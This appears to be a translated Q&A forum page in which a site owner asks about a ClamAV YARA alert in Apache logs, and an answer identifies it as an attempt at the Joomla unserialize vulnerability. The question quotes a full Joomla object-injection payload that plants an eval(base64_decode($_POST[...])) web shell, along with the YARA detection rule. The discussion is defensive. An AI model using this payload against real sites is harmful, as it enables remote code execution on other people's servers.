Вопросы Теги

Что такое YARA.eval_post.UNOFFICIAL и что мне с этим делать?

Мой ClamAV-сканирование все время находит примеры этого в моих журналах Apache: YARA.eval_post.UNOFFICIAL

Кто-нибудь знает, что это такое и что с этим делать?

Я пытался связаться с людьми на yararules.com, но ничего не получил в ответ.

Мои записи в журнале выглядят так. вот так: 

160.202.162.212 - - [13/Jul/2017:05:53:12 -0400] "GET / HTTP/1.1" 503 299 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:54:\"eval(base64_decode($_POST[111]));JFactory::get();exit;\";}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}\xf0\x9d\x8c\x86"

Применяемое правило Yara гласит: 

rule eval_post {
    strings:
        $ = "eval(base64_decode($_POST"
        $ = "eval($undecode($tongji))"
        $ = "eval($_POST"
    condition: any of them
}
0
задан 30 December 2017 в 05:24
1 ответ

Что такое YARA.eval_post.UNOFFICIAL

Во-первых, это правило YARA, что означает, что ClamAV обнаружил то, что классифицирует как вредоносное ПО.

Часть "НЕОФИЦИАЛЬНО" означает именно Обнаружение ClamAV здесь является «неофициальным», и это тот случай, когда обнаружение вредоносного ПО является результатом любой не встроенной / стандартной сигнатуры . Скорее всего, вы используете clamav-unofficial-sigs.

Ваша запись в журнале - это

« Уязвимость Joomla Unserialize » (CVE-2015-8562), метод использования вредоносного содержимого в HTTP-запросе. По сути, кто-то пытается провести известный тип атаки на ваш сайт. Если вы используете Joomla, убедитесь, что она обновлена, чтобы оставаться защищенной.

И последнее, но не менее важное: похоже, вы просканировали файл журнала apache и нашли eval (base64_decode ($ _ POST [111]) )); (как вы можете видеть, попробуйте выполнить все, что является содержимым HTTP-запроса POST). Сам файл журнала никоим образом не требует защиты.

1
ответ дан 4 December 2019 в 16:12

Теги

Похожие вопросы